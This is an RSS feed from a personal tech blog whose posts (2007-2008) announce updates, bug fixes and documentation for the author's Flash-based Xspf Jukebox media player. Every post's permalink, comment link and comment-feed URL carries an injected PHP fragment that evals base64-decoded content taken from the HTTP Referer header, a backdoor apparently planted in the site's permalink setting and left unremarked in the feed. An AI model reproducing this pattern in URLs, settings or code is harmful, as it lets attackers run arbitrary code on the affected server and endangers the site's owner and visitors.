<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>(blog.lacymorrow.com) &#187; XSPF</title>
	<atom:link href="http://blog.lacymorrow.com/tags/xspf/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lacymorrow.com</link>
	<description>The Tech Blog of Lacy Morrow</description>
	<lastBuildDate>Mon, 17 Jan 2011 21:59:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Wait Up, Yo.</title>
		<link>http://blog.lacymorrow.com/2008/09/06/wait-up-yo/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://blog.lacymorrow.com/2008/09/06/wait-up-yo/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 06 Sep 2008 19:13:37 +0000</pubDate>
		<dc:creator>Lacy Morrow</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[XSPF]]></category>

		<guid isPermaLink="false">http://blog.lacymorrow.com/?p=154</guid>
		<description><![CDATA[Ok, so I&#8217;ve heard of the countless problems people are having getting the Jukebox up and running, as well as the number of bugs yet to be fixed. Believe me, every single email and comment is read. The main reason for lack of support and updates is that I don&#8217;t have the time. With school [...]]]></description>
			<content:encoded><![CDATA[<p>Ok, so I&#8217;ve heard of the countless problems people are having getting the Jukebox up and running, as well as the number of bugs yet to be fixed. Believe me, every single email and comment is read. The main reason for lack of support and updates is that I don&#8217;t have the time. With school starting back and my eighteenth birthday coming up, I have had to concentrate more on my paid web design projects than the Jukebox. That is not to say that the project will be dropped, in fact I have every intention of recreating the entire website as well as making a simple auto-installer for the Jukebox. My only compensation for these projects are from the minimal donations I receive, so be happy with the current version. And also get ready, I have big plans for the Jukebox over the next month or so, so check back to see how it is coming. The Xspf Jukebox is already the most functional web media player on the internet (take that, WimpyPlayer), and the best part: It&#8217;s free. So if you are having problems, leave a comment, or shoot me an email (just make sure to send me a link, I can&#8217;t help you if I can&#8217;t see what&#8217;s wrong). Also, check out my <a href="http://test.lacymorrow.com/">test page</a>. You can download the files exactly as I have them used and, who knows? Maybe you&#8217;ll solve the problems yourself.</p>
<p>
<h5>On a side note, if anyone with html/php/flash/mysql experience has a few extra minutes and would like to assist with some of the coding or the documentation, don&#8217;t hesitate to email me.</h5></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lacymorrow.com/2008/09/06/wait-up-yo/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Something Brewing&#8230;</title>
		<link>http://blog.lacymorrow.com/2008/08/23/something-brewing/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://blog.lacymorrow.com/2008/08/23/something-brewing/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 23 Aug 2008 23:36:42 +0000</pubDate>
		<dc:creator>Lacy Morrow</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[XSPF]]></category>

		<guid isPermaLink="false">http://blog.lacymorrow.com/?p=144</guid>
		<description><![CDATA[Here is another update to the Xspf Jukebox, version 5.9.4. There are many small fixes which take care of a number of bugs. A couple of additions are  You can now add tracks to the player through Javascript with the function addTrack(track id, location, title, creator, info url, purchase url, image, annotation)  Percentage widths and [...]]]></description>
			<content:encoded><![CDATA[<p>Here is another update to the Xspf Jukebox, version 5.9.4. There are many small fixes which take care of a number of bugs.</p>
<p>A couple of additions are </p>
<ul>
<li>You can now add tracks to the player through Javascript with the function addTrack(track id, location, title, creator, info url, purchase url, image, annotation) </li>
<li>Percentage widths and heights are now supported in the skin xml</li>
<li>Gradients are now available in skins as well</li>
</ul>
<div>I know this site has been slightly neglected, I am working on a brand new homepage as well as a new layout for my projects. Look for it in the next month or so.</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.lacymorrow.com/2008/08/23/something-brewing/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Xspf Jukebox 5.9</title>
		<link>http://blog.lacymorrow.com/2008/02/07/xspf-jukebox-59/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://blog.lacymorrow.com/2008/02/07/xspf-jukebox-59/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 07 Feb 2008 04:30:49 +0000</pubDate>
		<dc:creator>Lacy Morrow</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[XSPF]]></category>

		<guid isPermaLink="false">http://blog.lacymorrow.com/2008/02/xspf-jukebox-59/</guid>
		<description><![CDATA[The Jukebox is now able to be loaded as a child to any other flash movie, no problem. It can be included in Flash sites or applications without having to be loaded from the Html page. This update also fixes bugs with reading stats, and adds additional accessible information through the &#8220;statsurl&#8221; interface.Check it.]]></description>
			<content:encoded><![CDATA[<p>The Jukebox is now able to be loaded as a child to any other flash movie, no problem. It can be included in Flash sites or applications without having to be loaded from the Html page. This update also fixes bugs with reading stats, and adds additional accessible information through the &#8220;statsurl&#8221; interface.<br /><a href="http://blog.lacymorrow.com/projects/xspf-jukebox/">Check it</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lacymorrow.com/2008/02/07/xspf-jukebox-59/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>67</slash:comments>
		</item>
		<item>
		<title>Xspf Javascript Interface</title>
		<link>http://blog.lacymorrow.com/2008/01/15/xspf-javascript-interface/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://blog.lacymorrow.com/2008/01/15/xspf-javascript-interface/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 16 Jan 2008 01:41:52 +0000</pubDate>
		<dc:creator>Lacy Morrow</dc:creator>
				<category><![CDATA[XSPF]]></category>

		<guid isPermaLink="false">http://blog.lacymorrow.com/2008/01/xspf-javascript-interface/</guid>
		<description><![CDATA[Some of you have been asking for a way to control the Xspf Jukebox using Javascript, well here it is. A single line of code is all it takes to play, pause stop, switch between tracks, and toggle shuffle and repeat on/off. These are the only six functions available at this time, but I am [...]]]></description>
			<content:encoded><![CDATA[<p>Some of you have been asking for a way to control the Xspf Jukebox using Javascript, well here it is. A single line of code is all it takes to play, pause stop, switch between tracks, and toggle shuffle and repeat on/off. These are the only six functions available at this time, but I am open to suggestions for additional ones. The documentation has been updated for reference <a href="http://www.lacymorrow.com/projects/jukebox/xspfdoc.html">here</a>.</p>
<p><a href="http://blog.lacymorrow.com/projects/xspf-jukebox/">Download the new version</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lacymorrow.com/2008/01/15/xspf-javascript-interface/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Xspf Jukebox Test Page</title>
		<link>http://blog.lacymorrow.com/2008/01/10/xspf-jukebox-test-page/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://blog.lacymorrow.com/2008/01/10/xspf-jukebox-test-page/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 11 Jan 2008 03:18:31 +0000</pubDate>
		<dc:creator>Lacy Morrow</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Site]]></category>
		<category><![CDATA[XSPF]]></category>

		<guid isPermaLink="false">http://blog.lacymorrow.com/2008/01/xspf-jukebox-test-page/</guid>
		<description><![CDATA[Anyone having problems getting everything to work just right with the Xspf Jukebox may want to click the link below. I have thrown together a super-simple page that incorporates all of the included files with the Jukebox download. The source files are also available for download so that you can see exactly how to use them. See the [...]]]></description>
			<content:encoded><![CDATA[<p>Anyone having problems getting everything to work just right with the Xspf Jukebox may want to click the link below. I have thrown together a super-simple page that incorporates all of the included files with the Jukebox download. The source files are also available for download so that you can see exactly how to use them. <a href="http://www.lacymorrow.com/test/">See the test page</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lacymorrow.com/2008/01/10/xspf-jukebox-test-page/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Small Update</title>
		<link>http://blog.lacymorrow.com/2008/01/10/small-update-2/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://blog.lacymorrow.com/2008/01/10/small-update-2/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 10 Jan 2008 23:20:23 +0000</pubDate>
		<dc:creator>Lacy Morrow</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[XSPF]]></category>

		<guid isPermaLink="false">http://blog.lacymorrow.com/2008/01/small-update-2/</guid>
		<description><![CDATA[It&#8217;s been awhile, but I am slowly getting things worked out. This is a small update to allow for a duration variable in the playlist. This fixes the &#8220;Jumpy&#8221; scrub bar, but inserting the wrong number will cause unexpected results. Use the &#60;duration&#62; tag in the playlist, and insert [number of seconds] x 1000.]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been awhile, but I am slowly getting things worked out. This is a small update to allow for a duration variable in the playlist. This fixes the &#8220;Jumpy&#8221; scrub bar, but inserting the wrong number will cause unexpected results. Use the &lt;duration&gt; tag in the playlist, and insert [number of seconds] x 1000.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lacymorrow.com/2008/01/10/small-update-2/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Couple More&#8230;</title>
		<link>http://blog.lacymorrow.com/2007/10/16/couple-more/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://blog.lacymorrow.com/2007/10/16/couple-more/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 16 Oct 2007 23:54:59 +0000</pubDate>
		<dc:creator>Lacy Morrow</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[XSPF]]></category>

		<guid isPermaLink="false">http://blog.lacymorrow.com/2007/10/couple-more/</guid>
		<description><![CDATA[Few more updates, the repeat_playlist and no_continue bugs should be gone for good. Also, I have taken out the &#8220;setup&#8221; feature. It was meant to have more of a function than a blinking &#8220;Update&#8221; icon, but never happened.]]></description>
			<content:encoded><![CDATA[<p>Few more updates, the repeat_playlist and no_continue bugs should be gone for good. Also, I have taken out the &#8220;setup&#8221; feature. It was meant to have more of a function than a blinking &#8220;Update&#8221; icon, but never happened.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lacymorrow.com/2007/10/16/couple-more/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Xspf Bug Fixes</title>
		<link>http://blog.lacymorrow.com/2007/10/11/xspf-bug-fixes/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://blog.lacymorrow.com/2007/10/11/xspf-bug-fixes/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 12 Oct 2007 03:13:05 +0000</pubDate>
		<dc:creator>Lacy Morrow</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[XSPF]]></category>

		<guid isPermaLink="false">http://blog.lacymorrow.com/2007/10/xspf-bug-fixes/</guid>
		<description><![CDATA[A couple of much needed bug fixes: this update fixes the stop on completion bug, the autoresume works with the pause function correctly now, and the scrolling playlist has been touched up to scroll to the correct place. For those interested in internet radio, the memory leak problem cannot be easily fixed with AS2, the [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of much needed bug fixes: this update fixes the stop on completion bug, the autoresume works with the pause function correctly now, and the scrolling playlist has been touched up to scroll to the correct place. For those interested in internet radio, the memory leak problem cannot be easily fixed with AS2, the coding used in this player. I am looking into a multi-track workaround which would be crude at best, but would work. <br /><a href="http://blog.lacymorrow.com/projects/xspf-jukebox/ ">blog.lacymorrow.com/projects/xspf-jukebox/ </a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lacymorrow.com/2007/10/11/xspf-bug-fixes/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Xspf Jukebox 5.8</title>
		<link>http://blog.lacymorrow.com/2007/09/10/xspf-jukebox-58/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://blog.lacymorrow.com/2007/09/10/xspf-jukebox-58/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 11 Sep 2007 01:27:47 +0000</pubDate>
		<dc:creator>Lacy Morrow</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[XSPF]]></category>

		<guid isPermaLink="false">http://blog.lacymorrow.com/2007/09/xspf-jukebox-58/</guid>
		<description><![CDATA[The first Xspf Jukebox update in a couple of months, to celebrate my 17th. This update fixes all of the bugs that have been brought to my attention, as well as adding some new features. Some changes include autoresume carrying the paused state, as well as the shuffled playlist order, through a refresh. Repeating track [...]]]></description>
			<content:encoded><![CDATA[<p>The first Xspf Jukebox update in a couple of months, to celebrate my 17th. This update fixes all of the bugs that have been brought to my attention, as well as adding some new features. Some changes include autoresume carrying the paused state, as well as the shuffled playlist order, through a refresh. Repeating track and playlist problems have been resolved, as well as internet radio issues. New additions include a scrolling playlist to show the current track, a play state display for skins (shows play/pause/stop icon), and a customizable format for track labels using the &#8220;format&#8221; variable. Just type exactly how you would like each track label to appear, using &#8220;-creator&#8221;, &#8220;-title&#8221;, &#8220;-location&#8221;, and &#8220;-annotation&#8221; to insert their respective values. For example, &#8220;Playing: -title by -creator&#8221; could output &#8220;Playing: The General by Dispatch&#8221;.</p>
<p><a href="http://blog.lacymorrow.com/projects/xspf-jukebox/">See it here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lacymorrow.com/2007/09/10/xspf-jukebox-58/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Skin Specifications</title>
		<link>http://blog.lacymorrow.com/2007/09/07/skin-specifications/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://blog.lacymorrow.com/2007/09/07/skin-specifications/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 07 Sep 2007 21:12:11 +0000</pubDate>
		<dc:creator>Lacy Morrow</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[XSPF]]></category>

		<guid isPermaLink="false">http://blog.lacymorrow.com/2007/09/skin-specifications/</guid>
		<description><![CDATA[I have posted the specifications for editing the &#8220;skin.xml&#8221; file for a Jukebox skin. You can see it here.]]></description>
			<content:encoded><![CDATA[<p>I have posted the specifications for editing the &#8220;skin.xml&#8221; file for a Jukebox skin. You can see it <a href="http://www.lacymorrow.com/projects/jukebox/skindoc.html">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lacymorrow.com/2007/09/07/skin-specifications/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

